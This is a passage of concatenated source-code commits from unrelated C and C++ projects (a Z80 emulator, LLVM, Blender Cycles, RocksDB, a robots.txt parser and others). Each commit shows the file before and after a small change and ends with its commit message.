    if (angle < -boost::math::constants::pi<T>()) {
        angle += boost::math::constants::two_pi<T>();
    }
    return angle;
}

/*
 * Get angle from encoder count (enccnt_t is uint32_t)
 * Convert angle from enccnt_t (unsigned) to corresponding signed type and use negative
 * values for any count over half a revolution.
 */
template <typename T>
T encoder_count(const Encoder& encoder) {
    auto position = static_cast<std::make_signed<enccnt_t>::type>(encoder.count());
    auto rev = static_cast<std::make_signed<enccnt_t>::type>(encoder.config().counts_per_rev);
    if (position > rev / 2) {
        position -= rev;
    }
    return static_cast<T>(position) / rev * boost::math::constants::two_pi<T>();
}

template <typename T, size_t N>
T encoder_rate(const EncoderFoaw<T, N>& encoder) {
    auto rev = static_cast<std::make_signed<enccnt_t>::type>(encoder.config().counts_per_rev);
    return static_cast<T>(encoder.velocity()) / rev * boost::math::constants::two_pi<T>();
}
} // namespace angle

Add function to obtain encoder angular rate

Add function to angle namespace to obtain encoder angular rate in rad/s.
This requires that the encoder object has a velocity() member function
which means only EncoderFoaw for now.


// RUN: %clang_cc1 -fexceptions -emit-llvm -o - %s | FileCheck %s
// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck -check-prefix NOEXC %s

int opaque();

// CHECK:       define [[INT:i.*]] @test0() {
// CHECK-NOEXC: define [[INT:i.*]] @test0() nounwind {
int test0(void) {
  return opaque();
}

// <rdar://problem/8087431>: locally infer nounwind at -O0
// CHECK:       define [[INT:i.*]] @test1() nounwind {
// CHECK-NOEXC: define [[INT:i.*]] @test1() nounwind {
int test1(void) {
}

// RUN: %clang_cc1 -fexceptions -emit-llvm -o - %s | FileCheck %s
// RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck -check-prefix NOEXC %s

int opaque();

// CHECK:       define [[INT:i.*]] @test0() {
// CHECK-NOEXC: define [[INT:i.*]] @test0() nounwind {
int test0(void) {
  return opaque();
}

// <rdar://problem/8087431>: locally infer nounwind at -O0
// CHECK:       define [[INT:i.*]] @test1() nounwind {
// CHECK-NOEXC: define [[INT:i.*]] @test1() nounwind {
int test1(void) {
  return 0;
}

Fix a warning on a test.

Fix a warning on a test.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@110165 91177308-0d34-0410-b5e6-96231b3b80d8


#ifndef MED_DATA_READER_WRITER_H
#define MED_DATA_READER_WRITER_H

#include <dtkCore/dtkSmartPointer.h>
#include <dtkCore/dtkAbstractDataReader.h>
#include <dtkCore/dtkAbstractDataWriter.h>
#include <dtkCore/dtkAbstractData.h>

struct medDataReaderWriter {

    typedef dtkSmartPointer<dtkAbstractDataReader> Reader;
    typedef dtkSmartPointer<dtkAbstractDataWriter> Writer;
    typedef dtkSmartPointer<dtkAbstractData>       Data;

    static Reader reader(const QString& path);
    static Writer writer(const QString& path,const dtkAbstractData* data);

    static Data read(const QString& path);
    static bool write(const QString& path,dtkAbstractData* data);
    };

#endif  //  ! MED_DATA_READER_WRITER_H

#ifndef MED_DATA_READER_WRITER_H
#define MED_DATA_READER_WRITER_H

#include <dtkCore/dtkSmartPointer.h>
#include <dtkCore/dtkAbstractDataReader.h>
#include <dtkCore/dtkAbstractDataWriter.h>
#include <dtkCore/dtkAbstractData.h>

#include "medCoreExport.h"

struct MEDCORE_EXPORT medDataReaderWriter {

    typedef dtkSmartPointer<dtkAbstractDataReader> Reader;
    typedef dtkSmartPointer<dtkAbstractDataWriter> Writer;
    typedef dtkSmartPointer<dtkAbstractData>       Data;

    static Reader reader(const QString& path);
    static Writer writer(const QString& path,const dtkAbstractData* data);

    static Data read(const QString& path);
    static bool write(const QString& path,dtkAbstractData* data);
    };

#endif  //  ! MED_DATA_READER_WRITER_H

Correct for windows compilation (exports)


/*
 * ZXSpectrum
 *
 *  Uses Z80 step core built in EDL
 *  Rest is C for now
 */

#include <stdio.h>
#include <stdint.h>

void STEP(void);
void RESET(void);
void INTERRUPT(uint8_t);

extern uint8_t CYCLES;

void CPU_RESET()
{
	RESET();
}

int CPU_STEP(int intClocks,int doDebug)
{
	if (intClocks)
	{
		INTERRUPT(0xFF);

		if (CYCLES==0)
		{
			STEP();
		}
	}
	else
	{
		STEP();
	}

	return CYCLES;
}

/*
 * ZXSpectrum
 *
 *  Uses Z80 step core built in EDL
 *  Rest is C for now
 */

#include <stdio.h>
#include <stdint.h>

void STEP(void);
void RESET(void);
void INTERRUPT(uint8_t);

extern uint16_t	PC;
extern uint8_t CYCLES;
int Disassemble(unsigned int address,int registers);

void CPU_RESET()
{
	RESET();
}

int CPU_STEP(int intClocks,int doDebug)
{
	if (doDebug)
	{
		Disassemble(PC,1);
	}
	if (intClocks)
	{
		INTERRUPT(0xFF);

		if (CYCLES==0)
		{
			STEP();
		}
	}
	else
	{
		STEP();
	}

	return CYCLES;
}

Put disassembly into simple core

Put disassembly into simple core


#ifndef AGENT_CPP_H
#define AGENT_CPP_H

#include <vector>

#include "directive.h"

// forward declaration
namespace Url
{
    class Url;
}

namespace Rep
{
    class Agent
    {
    public:
        /* The type for the delay. */
        typedef float delay_t;

        /**
         * Construct an agent.
         */
        explicit Agent(const std::string& host) :
            directives_(), delay_(-1.0), sorted_(true), host_(host) {}

        /**
         * Add an allowed directive.
         */
        Agent& allow(const std::string& query);

        /**
         * Add a disallowed directive.
         */
        Agent& disallow(const std::string& query);

        /**
         * Set the delay for this agent.
         */
        Agent& delay(delay_t value) {
            delay_ = value;
            return *this;
        }

        /**
         * Return the delay for this agent.
         */
        delay_t delay() const { return delay_; }

        /**
         * A vector of the directives, in priority-sorted order.
         */
        const std::vector<Directive>& directives() const;

        /**
         * Return true if the URL (either a full URL or a path) is allowed.
         */
        bool allowed(const std::string& path) const;

        std::string str() const;

    private:
        bool is_external(const Url::Url& url) const;

        mutable std::vector<Directive> directives_;
        delay_t delay_;
        mutable bool sorted_;
        std::string host_;
    };
}

#endif

#ifndef AGENT_CPP_H
#define AGENT_CPP_H

#include <vector>

#include "directive.h"

// forward declaration
namespace Url
{
    class Url;
}

namespace Rep
{
    class Agent
    {
    public:
        /* The type for the delay. */
        typedef float delay_t;

        /**
         * Default constructor
         */
        Agent() : Agent("") {}

        /**
         * Construct an agent.
         */
        explicit Agent(const std::string& host) :
            directives_(), delay_(-1.0), sorted_(true), host_(host) {}

        /**
         * Add an allowed directive.
         */
        Agent& allow(const std::string& query);

        /**
         * Add a disallowed directive.
         */
        Agent& disallow(const std::string& query);

        /**
         * Set the delay for this agent.
         */
        Agent& delay(delay_t value) {
            delay_ = value;
            return *this;
        }

        /**
         * Return the delay for this agent.
         */
        delay_t delay() const { return delay_; }

        /**
         * A vector of the directives, in priority-sorted order.
         */
        const std::vector<Directive>& directives() const;

        /**
         * Return true if the URL (either a full URL or a path) is allowed.
         */
        bool allowed(const std::string& path) const;

        std::string str() const;

    private:
        bool is_external(const Url::Url& url) const;

        mutable std::vector<Directive> directives_;
        delay_t delay_;
        mutable bool sorted_;
        std::string host_;
    };
}

#endif

Add back default constructor for Agent.

Add back default constructor for Agent.

Previously, this was removed in #28, but the Cython bindings in reppy
*really* want there to be a default constructor, so I'm adding it back
for convenience.


#ifndef WATCHER_GLOBAL_FUNCTIONS
#define WATCHER_GLOBAL_FUNCTIONS

#include <boost/asio/ip/address.hpp>
#include <boost/serialization/split_free.hpp>

BOOST_SERIALIZATION_SPLIT_FREE(boost::asio::ip::address);

namespace boost
{
    namespace serialization
    {
        template<class Archive>
            void save(Archive & ar, const boost::asio::ip::address & a, const unsigned int version)
            {
                std::string tmp=a.to_string();
                ar & tmp;
            }

        template<class Archive>
            void load(Archive & ar, boost::asio::ip::address & a, const unsigned int version)
            {
                std::string tmp;
                ar & tmp;
                a=boost::asio::ip::address::from_string(tmp);
            }
    }
}

#endif //  WATCHER_GLOBAL_FUNCTIONS

#ifndef WATCHER_GLOBAL_FUNCTIONS
#define WATCHER_GLOBAL_FUNCTIONS

#include <boost/serialization/split_free.hpp>
#include "watcherTypes.h"

BOOST_SERIALIZATION_SPLIT_FREE(boost::asio::ip::address);

namespace boost
{
    namespace serialization
    {
        template<class Archive>
            void save(Archive & ar, const watcher::NodeIdentifier &a, const unsigned int version)
            {
                std::string tmp=a.to_string();
                ar & tmp;
            }

        template<class Archive>
            void load(Archive & ar, watcher::NodeIdentifier &a, const unsigned int version)
            {
                std::string tmp;
                ar & tmp;
                a=boost::asio::ip::address::from_string(tmp);
            }
    }
}

#endif //  WATCHER_GLOBAL_FUNCTIONS

Use watcher::NodeIdentifier in place of boost::asio::address


// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>

// TODO: reference additional headers your program requires here

// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//

#pragma once

#include "targetver.h"

#include <cassert>

Remove unused headers and add cassert to PCH.


/***************************************************************************//**
* \file boundaryCondition.h
* \author Krishnan, A. (anush@bu.edu)
* \brief Definition of the class \c boundaryCondition
*/

#pragma once

#include <string>
#include <sstream>
#include "types.h"
#include "parameterDB.h"

/**
* \class boundaryCondition
* \brief Store the boundary conditions for a given system
*/
class boundaryCondition
{
public:
	bcType type; ///< type of boundary condition
	real  value; ///< numerical value associated with the boundary condition

	/**
	* \brief Constructor of the class \c boundaryCondition.
	*
	* Initialize with a Dirichlet-type boundary condition
	* with a value sets to zero.
	*
	*/
	boundaryCondition() : type(DIRICHLET), value(0) {};

	/**
	* \brief Other constructor of the class \c boundaryCondition.
	*
	* Initialize with a given boundary condition type
	* and a given value.
	*
	*/
	boundaryCondition(bcType _type, real _value) : type(_type), value(_value) {};

  /*const char *print()
  {
    std::stringstream ss;
    ss << toString(this->type);
    ss << " : ";
    ss << this->value;
    std::string st = ss.str();
    //std::cout << st << std::endl;
    return ss.str().c_str();
  }*/
};

/***************************************************************************//**
 * \file boundaryCondition.h
 * \author Anush Krishnan (anush@bu.edu)
 * \brief Definition of the class \c boundaryCondition.
 */

#pragma once

#include <string>
#include <sstream>
#include "types.h"
#include "parameterDB.h"

/**
 * \class boundaryCondition
 * \brief Stores the boundary conditions for a given system.
 */
class boundaryCondition
{
public:
	bcType type; ///< type of boundary condition
	real  value; ///< numerical value associated with the boundary condition

	/**
	 * \brief Constructor of the class \c boundaryCondition.
	 *
	 * Boundary condition initialized with a Dirichlet-type with
	 * with a value sets to zero.
	 *
	 */
	boundaryCondition() : type(DIRICHLET), value(0) {};

	/**
	 * \brief Other constructor of the class \c boundaryCondition.
	 *
	 * Boundary condition initialized with a given type and a given value.
	 *
	 */
	boundaryCondition(bcType _type, real _value) : type(_type), value(_value) {};

  /*const char *print()
  {
    std::stringstream ss;
    ss << toString(this->type);
    ss << " : ";
    ss << this->value;
    std::string st = ss.str();
    //std::cout << st << std::endl;
    return ss.str().c_str();
  }*/
};

Update Doxygen documentation with conventions


#ifndef EVENT2_EVENT_H
#define EVENT2_EVENT_H

#define SJ_LIBEVENT_EMULATION 1

#include <event.h>
#include <evutil.h>
#include "qt4compat.h"

typedef int evutil_socket_t;
typedef void(*event_callback_fn)(evutil_socket_t, short, void*);

Q_DECL_HIDDEN inline struct event* event_new(struct event_base* base, evutil_socket_t fd, short int events, event_callback_fn callback, void* callback_arg)
{
	struct event* e = new struct event;
	event_set(e, fd, events, callback, callback_arg);
	event_base_set(base, e);
	return e;
}

Q_DECL_HIDDEN inline void event_free(struct event* e)
{
	delete e;
}

#endif

#ifndef EVENT2_EVENT_H
#define EVENT2_EVENT_H

#define SJ_LIBEVENT_EMULATION 1

#include <event.h>
#ifndef EV_H_
// libevent emulation by libev
#	include <evutil.h>
#endif
#include "qt4compat.h"

typedef int evutil_socket_t;
typedef void(*event_callback_fn)(evutil_socket_t, short, void*);

Q_DECL_HIDDEN inline struct event* event_new(struct event_base* base, evutil_socket_t fd, short int events, event_callback_fn callback, void* callback_arg)
{
	struct event* e = new struct event;
	event_set(e, fd, events, callback, callback_arg);
	event_base_set(base, e);
	return e;
}

Q_DECL_HIDDEN inline void event_free(struct event* e)
{
	delete e;
}

#ifdef EV_H_
Q_DECL_HIDDEN inline int event_reinit(struct event_base* base)
{
	Q_UNUSED(base);
	qWarning("%s emulation is not supported.", Q_FUNC_INFO);
	return 1;
}

#define evutil_gettimeofday(tv, tz)    gettimeofday((tv), (tz))
#define evutil_timeradd(tvp, uvp, vvp) timeradd((tvp), (uvp), (vvp))
#define evutil_timersub(tvp, uvp, vvp) timersub((tvp), (uvp), (vvp))
#define evutil_timercmp(tvp, uvp, cmp)        \
	(((tvp)->tv_sec == (uvp)->tv_sec) ?       \
		((tvp)->tv_usec cmp (uvp)->tv_usec) : \
		((tvp)->tv_sec cmp (uvp)->tv_sec))

#endif

#endif

Support for libevent emulation with libev

Hello to CentOS where libev-devel cannot coexist with libevent2-devel


//===-- llvm/ADT/HashExtras.h - Useful functions for STL hash ---*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file was developed by the LLVM research group and is distributed under
// the University of Illinois Open Source License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains some templates that are useful if you are working with the
// STL Hashed containers.
//
// No library is required when using these functinons.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_ADT_HASHEXTRAS_H
#define LLVM_ADT_HASHEXTRAS_H

#include "llvm/ADT/hash_map"
#include <string>

// Cannot specialize hash template from outside of the std namespace.
namespace HASH_NAMESPACE {

template <> struct hash<std::string> {
  size_t operator()(std::string const &str) const {
    return hash<char const *>()(str.c_str());
  }
};

// Provide a hash function for arbitrary pointers...
template <class T> struct hash<T *> {
  inline size_t operator()(const T *Val) const {
    return reinterpret_cast<size_t>(Val);
  }
};

}  // End namespace std

#endif

//===-- llvm/ADT/HashExtras.h - Useful functions for STL hash ---*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file was developed by the LLVM research group and is distributed under
// the University of Illinois Open Source License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains some templates that are useful if you are working with the
// STL Hashed containers.
//
// No library is required when using these functinons.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_ADT_HASHEXTRAS_H
#define LLVM_ADT_HASHEXTRAS_H

#include "llvm/ADT/hash_map"
#include <string>

// Cannot specialize hash template from outside of the std namespace.
namespace HASH_NAMESPACE {

// Provide a hash function for arbitrary pointers...
template <class T> struct hash<T *> {
  inline size_t operator()(const T *Val) const {
    return reinterpret_cast<size_t>(Val);
  }
};

template <> struct hash<std::string> {
  size_t operator()(std::string const &str) const {
    return hash<char const *>()(str.c_str());
  }
};

}  // End namespace std

#endif

Define the pointer hash struct before the string one, to improve compatibility
with ICC.  Patch contributed by Bjørn Wennberg.

git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@18663 91177308-0d34-0410-b5e6-96231b3b80d8


/*
 * This file is part of TelepathyQt4Yell
 *
 * Copyright (C) 2011 Collabora Ltd. <http://www.collabora.co.uk/>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

#ifndef _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_
#define _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_

#ifndef IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER
#error IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER
#endif

#include <TelepathyQt4/Types>

namespace Tpy
{

class FarstreamChannelFactory;

typedef Tp::SharedPtr<FarstreamChannelFactory> FarstreamChannelFactoryPtr;

} // Tpy

#endif

/*
 * This file is part of TelepathyQt4Yell
 *
 * Copyright (C) 2011 Collabora Ltd. <http://www.collabora.co.uk/>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

#ifndef _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_
#define _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_

#ifndef IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER
#error IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER
#endif

#include <TelepathyQt4Yell/Types>

namespace Tpy
{

class FarstreamChannelFactory;

typedef Tp::SharedPtr<FarstreamChannelFactory> FarstreamChannelFactoryPtr;

} // Tpy

#endif

Farstream/Types: Include TelepathyQt4Yell/Types instead of TelepathyQt4/Types.


/* see LICENSE file for copyright and license details */
/* report errors or warnings */

extern char *argv0;
extern int debug;
extern int interactive_mode;

#define reportprint(E, M, ...) {                                                      \
	if (debug)                                                                    \
		fprintf(stderr, "%s:%d: %s: " M "\n", __FILE__, __LINE__,             \
		        !E || interactive_mode ? "warning" : "error", ##__VA_ARGS__); \
	else                                                                          \
		fprintf(stderr, "%s: " M "\n", argv0, ##__VA_ARGS__);                 \
}

#define reporterr(M, ...) {               \
	reportprint(1, M, ##__VA_ARGS__); \
	exit(1);                          \
}
#define _reporterr(M, ...) {              \
	reportprint(1, M, ##__VA_ARGS__); \
	_exit(1);                         \
}
#define report(M, ...) {                  \
	reportprint(0, M, ##__VA_ARGS__); \
	if (!interactive_mode)            \
		exit(1);                  \
}
#define reportret(R, M, ...) {            \
	reportprint(0, M, ##__VA_ARGS__); \
	if (!interactive_mode)            \
		exit(1);                  \
	else                              \
		return R;                 \
}
#define reportvar(V, M) { \
	V = M;            \
	return NULL;      \
}

/* see LICENSE file for copyright and license details */
/* report errors or warnings */

extern char *argv0;
extern int debug;
extern int interactive_mode;

#define reportprint(E, M, ...) do {                                                   \
	if (debug)                                                                    \
		fprintf(stderr, "%s:%d: %s: " M "\n", __FILE__, __LINE__,             \
		        !E || interactive_mode ? "warning" : "error", ##__VA_ARGS__); \
	else                                                                          \
		fprintf(stderr, "%s: " M "\n", argv0, ##__VA_ARGS__);                 \
} while(0)

#define reporterr(M, ...) do {            \
	reportprint(1, M, ##__VA_ARGS__); \
	exit(1);                          \
} while(0)
#define _reporterr(M, ...) do {           \
	reportprint(1, M, ##__VA_ARGS__); \
	_exit(1);                         \
} while(0)
#define report(M, ...) do {               \
	reportprint(0, M, ##__VA_ARGS__); \
	if (!interactive_mode)            \
		exit(1);                  \
} while(0)
#define reportret(R, M, ...) do {         \
	reportprint(0, M, ##__VA_ARGS__); \
	if (!interactive_mode)            \
		exit(1);                  \
	else                              \
		return R;                 \
} while(0)
#define reportvar(V, M) do { \
	V = M;               \
	return NULL;         \
} while(0)

Fix report macros in if else statements

Fix report macros in if else statements


/*
 * Copyright 2011-2016 Blender Foundation
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#ifndef __UTIL_VERSION_H__
#define __UTIL_VERSION_H__

/* Cycles version number */

CCL_NAMESPACE_BEGIN

#define CYCLES_VERSION_MAJOR 1
#define CYCLES_VERSION_MINOR 11
#define CYCLES_VERSION_PATCH 0

#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a "." #b "." #c
#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)
#define CYCLES_VERSION_STRING \
  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)

CCL_NAMESPACE_END

#endif /* __UTIL_VERSION_H__ */

/*
 * Copyright 2011-2016 Blender Foundation
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#ifndef __UTIL_VERSION_H__
#define __UTIL_VERSION_H__

/* Cycles version number */

CCL_NAMESPACE_BEGIN

#define CYCLES_VERSION_MAJOR 1
#define CYCLES_VERSION_MINOR 12
#define CYCLES_VERSION_PATCH 0

#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a "." #b "." #c
#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)
#define CYCLES_VERSION_STRING \
  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)

CCL_NAMESPACE_END

#endif /* __UTIL_VERSION_H__ */

Bump version to 1.12, matching blender 2.83 release cycle


// Copyright (c) 2017-2020 The Bitcoin Core developers
// Copyright (c) 2020 The PIVX developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#ifndef BITCOIN_FS_H
#define BITCOIN_FS_H

#include <stdio.h>
#include <string>

#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/filesystem/detail/utf8_codecvt_facet.hpp>

/** Filesystem operations and types */
namespace fs = boost::filesystem;

/** Bridge operations to C stdio */
namespace fsbridge {
    FILE *fopen(const fs::path& p, const char *mode);
    FILE *freopen(const fs::path& p, const char *mode, FILE *stream);
};

#endif

// Copyright (c) 2017-2020 The Bitcoin Core developers
// Copyright (c) 2020 The PIVX developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#ifndef BITCOIN_FS_H
#define BITCOIN_FS_H

#include <stdio.h>
#include <string>

#define BOOST_FILESYSTEM_NO_DEPRECATED
#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/filesystem/detail/utf8_codecvt_facet.hpp>

/** Filesystem operations and types */
namespace fs = boost::filesystem;

/** Bridge operations to C stdio */
namespace fsbridge {
    FILE *fopen(const fs::path& p, const char *mode);
    FILE *freopen(const fs::path& p, const char *mode, FILE *stream);
};

#endif

Enforce that no deprecated boost filesystem methods can be re-introduced

This macro define will cause compilation errors in the event that any
deprecated are re-introduced to the codebase.


#ifndef ARRAY_H
#define ARRAY_H

#include <stdlib.h>

#define ARRAY_DECLARE(TYPE) \
    typedef struct { \
        TYPE *elems; \
        size_t allocated, \
               nextfree; \
    } Array##TYPE

#define ARRAY_INIT(A, TYPE, SIZE) \
    (A)->elems = (TYPE*)malloc(SIZE * sizeof(TYPE)); \
    (A)->allocated = SIZE; \
    (A)->nextfree = 0

#define ARRAY_PUSH(A, TYPE, VALUE) \
    if ((A)->allocated == (A)->nextfree) { \
        (A)->allocated *= 2; \
        (A)->elems = (TYPE*)realloc((A)->elems, (A)->allocated * sizeof(TYPE)); \
    } \
    (A)->elems[(A)->nextfree] = VALUE; \
    (A)->nextfree += 1

#define ARRAY_FREE(A) \
    if ((A)->elems != NULL) { \
        free((A)->elems); \
    }

#endif

#ifndef ARRAY_H
#define ARRAY_H

#include <stdlib.h>

#define ARRAY_DECLARE(TYPE) \
    typedef struct { \
        TYPE *elems; \
        size_t allocated, \
               nextfree; \
    } Array##TYPE

#define ARRAY_INIT(A, TYPE, SIZE) \
    (A)->elems = (TYPE*)malloc(SIZE * sizeof(TYPE)); \
    (A)->allocated = SIZE; \
    (A)->nextfree = 0

#define ARRAY_REALLOC_CHECK(A, TYPE) \
    if ((A)->allocated == (A)->nextfree) { \
        (A)->allocated *= 2; \
        (A)->elems = (TYPE*)realloc((A)->elems, (A)->allocated * sizeof(TYPE)); \
    } \

#define ARRAY_PUSH(A, TYPE, VALUE) \
    ARRAY_REALLOC_CHECK(A, TYPE); \
    (A)->elems[(A)->nextfree] = VALUE; \
    (A)->nextfree += 1

#define ARRAY_FREE(A) \
    if ((A)->elems != NULL) { \
        free((A)->elems); \
    }

#endif

Create dedicated realloc check macro

Create dedicated realloc check macro


#pragma once

#include "Types.h"

#include <opencv2/core/types.hpp>
#include <json11.hpp>
#include <algorithm>
#include <iterator>
#include <cstdio>

namespace yarrar {

template<typename Container, typename Value>
bool contains(const Container& c, const Value& v)
{
    return std::find(std::begin(c), std::end(c), v) != std::end(c);
}

template<typename... Args>
std::string format(const std::string& format, Args... args)
{
    int neededSize = snprintf(nullptr, 0, format.c_str(), args...);

    // If there was an error return the original string.
    if(neededSize <= 0)
        return format;

    neededSize += 1;
    std::vector<char> buf(static_cast<size_t> (neededSize));
    snprintf(&buf.front(), static_cast<size_t> (neededSize), format.c_str(), args...);
    return std::string(&buf.front());
}

cv::Size getScaledDownResolution(const int width,
                                 const int height,
                                 const int preferredWidth);

void rotate(const cv::Mat& src, cv::Mat& dst, const yarrar::Rotation90& rotation);

json11::Json loadJson(const std::string& filePath);

}

#pragma once

#include "Types.h"

#include <opencv2/core/types.hpp>
#include <json11.hpp>
#include <algorithm>
#include <iterator>
#include <cstdio>

namespace yarrar {

template<typename Container, typename Value>
bool contains(const Container& c, const Value& v)
{
    return std::find(std::begin(c), std::end(c), v) != std::end(c);
}

template<typename... Args>
std::string format(const std::string& format, Args... args)
{
    int neededSize = snprintf(nullptr, 0, format.c_str(), args...);

    // If there was an error return the original string.
    if(neededSize <= 0)
        return format;

    // Accommodate \0
    neededSize += 1;

    std::string buf;
    buf.resize(static_cast<size_t> (neededSize));
    snprintf(&buf.front(), static_cast<size_t> (neededSize), format.c_str(), args...);
    return buf;
}

cv::Size getScaledDownResolution(const int width,
                                 const int height,
                                 const int preferredWidth);

void rotate(const cv::Mat& src, cv::Mat& dst, const yarrar::Rotation90& rotation);

json11::Json loadJson(const std::string& filePath);

}

Use std::string straight instead of vector<char> in format().


//  Copyright (c) 2017-present, Facebook, Inc.  All rights reserved.
//  This source code is licensed under both the GPLv2 (found in the
//  COPYING file in the root directory) and Apache 2.0 License
//  (found in the LICENSE.Apache file in the root directory).

#pragma once
#include "rocksdb/merge_operator.h"
#include "rocksdb/slice.h"

namespace rocksdb {
namespace cassandra {

/**
 * A MergeOperator for rocksdb that implements Cassandra row value merge.
 */
class CassandraValueMergeOperator : public MergeOperator {
public:
  static std::shared_ptr<MergeOperator> CreateSharedInstance();

  virtual bool FullMergeV2(const MergeOperationInput& merge_in,
                           MergeOperationOutput* merge_out) const override;

  virtual bool PartialMergeMulti(const Slice& key,
                                 const std::deque<Slice>& operand_list,
                                 std::string* new_value,
                                 Logger* logger) const override;

  virtual const char* Name() const override;
};
} // namespace cassandra
} // namespace rocksdb

//  Copyright (c) 2017-present, Facebook, Inc.  All rights reserved.
//  This source code is licensed under both the GPLv2 (found in the
//  COPYING file in the root directory) and Apache 2.0 License
//  (found in the LICENSE.Apache file in the root directory).

#pragma once
#include "rocksdb/merge_operator.h"
#include "rocksdb/slice.h"

namespace rocksdb {
namespace cassandra {

/**
 * A MergeOperator for rocksdb that implements Cassandra row value merge.
 */
class CassandraValueMergeOperator : public MergeOperator {
public:
  static std::shared_ptr<MergeOperator> CreateSharedInstance();

  virtual bool FullMergeV2(const MergeOperationInput& merge_in,
                           MergeOperationOutput* merge_out) const override;

  virtual bool PartialMergeMulti(const Slice& key,
                                 const std::deque<Slice>& operand_list,
                                 std::string* new_value,
                                 Logger* logger) const override;

  virtual const char* Name() const override;

  virtual bool AllowSingleOperand() const override { return true; }
};
} // namespace cassandra
} // namespace rocksdb

Enable Cassandra merge operator to be called with a single merge operand

Summary:
Updating Cassandra merge operator to make use of a single merge operand when needed. Single merge operand support has been introduced in #2721.
Closes https://github.com/facebook/rocksdb/pull/2753

Differential Revision: D5652867

Pulled By: sagar0

fbshipit-source-id: b9fbd3196d3ebd0b752626dbf9bec9aa53e3e26a


/*
 * Copyright (C) 2007 Antonino Daplas <adaplas@gmail.com>
 *
 * This file is subject to the terms and conditions of the GNU General Public
 * License.  See the file COPYING in the main directory of this archive
 * for more details.
 *
 */
#include <linux/fb.h>
#include <linux/pci.h>
#include <linux/module.h>

int fb_is_primary_device(struct fb_info *info)
{
	struct device *device = info->device;
	struct pci_dev *pci_dev = NULL;
	struct resource *res = NULL;
	int retval = 0;

	if (device)
		pci_dev = to_pci_dev(device);

	if (pci_dev)
		res = &pci_dev->resource[PCI_ROM_RESOURCE];

	if (res && res->flags & IORESOURCE_ROM_SHADOW)
		retval = 1;

	return retval;
}
EXPORT_SYMBOL(fb_is_primary_device);
MODULE_LICENSE("GPL");

/*
 * Copyright (C) 2007 Antonino Daplas <adaplas@gmail.com>
 *
 * This file is subject to the terms and conditions of the GNU General Public
 * License.  See the file COPYING in the main directory of this archive
 * for more details.
 *
 */
#include <linux/fb.h>
#include <linux/pci.h>
#include <linux/module.h>
#include <linux/vgaarb.h>

int fb_is_primary_device(struct fb_info *info)
{
	struct device *device = info->device;
